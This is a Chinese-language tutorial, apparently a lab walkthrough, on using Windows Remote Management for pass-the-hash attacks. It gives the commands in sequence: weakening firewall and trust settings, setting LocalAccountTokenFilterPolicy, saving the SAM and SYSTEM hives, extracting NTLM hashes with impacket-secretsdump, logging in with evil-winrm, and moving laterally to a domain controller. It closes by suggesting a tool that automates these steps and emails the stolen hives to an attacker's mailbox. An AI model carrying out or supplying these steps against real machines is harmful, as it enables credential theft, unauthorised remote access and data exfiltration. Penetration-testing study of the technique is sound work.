一、简介
- WinRM是很早之前微软推出的一种新式的方便远程管理的服务Windows Remote Management的简称,相比RDP远程桌面协议,WinRM这种服务更具备轻量、低宽带的特性,WinRM与WinRS(Windows Remote Shell)的使用可以让远程连接的运维人员拥有CMDShell环境,通过命令执行对服务器与服务器数据进行管理。
- Winrm服务默认端口:
- 5985(HTTP)
- 5986 (HTTPS)
- 经测试验证,发现对于Windows Server 默认是启用了WinRM服务的,对于windows10、windows11这些主机则需要额外配置才能使用此功能
二、环境准备
2.1 实验环境
- 攻击机:192.168.20.243(Kali)
- 受害机:192.168.30.207(Windows11,采用微软账户登录)
2.2 前置操作
请使用管理员权限执行以下命令:
2.2.1 快速配置开启:
-
winrm quickconfig -q
或winrm qc -q
-
这里winrm配置后,默认信任专用网络和域网络,所以还需要再配置防火墙策略
2.2.2 配置防火墙策略
- 防火墙高级安全设置==>入站规则==>windows远程管理(公用)==>属性==>作用域
- 切换远程IP地址由
下列IP地址
到任何IP地址
- 启用该策略
2.2.3 配置信任连接主机
winrm set winrm/config/Client @{TrustedHosts="*"}
2.2.4 允许本地管理员组的其他用户登录
-
在系统中,该
LocalAccountTokenFilterPolicy
的值默认为0,默认只有系统默认管理员账户Administrator(SID 500)
拥有凭证可以进行对主机的连接,本地管理员组的其他用户登录时将会显示“拒绝访问”,如果用其他本地管理员组的其他用户进行登录,需要修改注册表中LocalAccountTokenFilterPolicy
值为1 -
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
2.2.5 提取保存本地账户密码哈希(后续进行PTH使用)
reg save HKLM\sam sam.save
reg save HKLM\system system.save
- 后续需要将得到的
sam.save
和system.save
两个文件拿走,可以采用U盘、即时聊天工具、SCP等文件传输手段将文件拿到攻击机进行NTLM解析,进而发起PTH,采用密文密码登录目标主机
2.3 进行攻击
2.3.1 解析哈希
impacket-secretsdump -sam sam.save -system system.save LOCAL
2.3.2 连接远程主机shell
- 注:直接采用微软账户登录的windows设备其主机的administrator账户默认不启用,故无法采用winrm的方式连接。微软登录账户将被加入本地管理组,在前面修改注册表后,将可以直接使用目标微软账户登录目标主机
evil-winrm -i <主机IP> -u <用户名> -H <用户哈希>
三、补充
3.1域环境下WinRM的使用
- 对于windows Server,其默认开启WinRM,所以在取得一台登录有管理账户的域内主机后,便可以直接利用该账户登录其他域内网络可达的任意主机进行操作,而无需使用知道密码。
- 注意:采用该方式登录其他主机,需要先知道目标主机名,方可远程登录(可采用LDAP查询遍历域内主机)
- 获取DC主机名:
net time /domain
- 同目标主机进入会话交互模式:
Enter-PSSession <主机名>
- 成功由一台域内主机登录到DC
- 获取DC主机名:
3.2 攻击机准备
- 对于内网的设备,可以使用WSL(windows子系统)来安装kali这款操作系统作为自己的Linux子系统,而后自行安装kali的各个安全工具,由此即可解决攻击机的准备问题了,除此之外
kali nethunter(手机里的kali)
也是不错的选择 - 参考链接:传送门
- 微软商店下载:(需要先安装WSL2)
- 使用WSL对先前的目标主机进行攻击(注意先下载相关工具)
3.3 快速进行前置操作
- 可以开发小工具,自动执行前置命令,而后通过邮件或其他的方式将文件自动发送到攻击者预设的邮箱,以此快速完成操作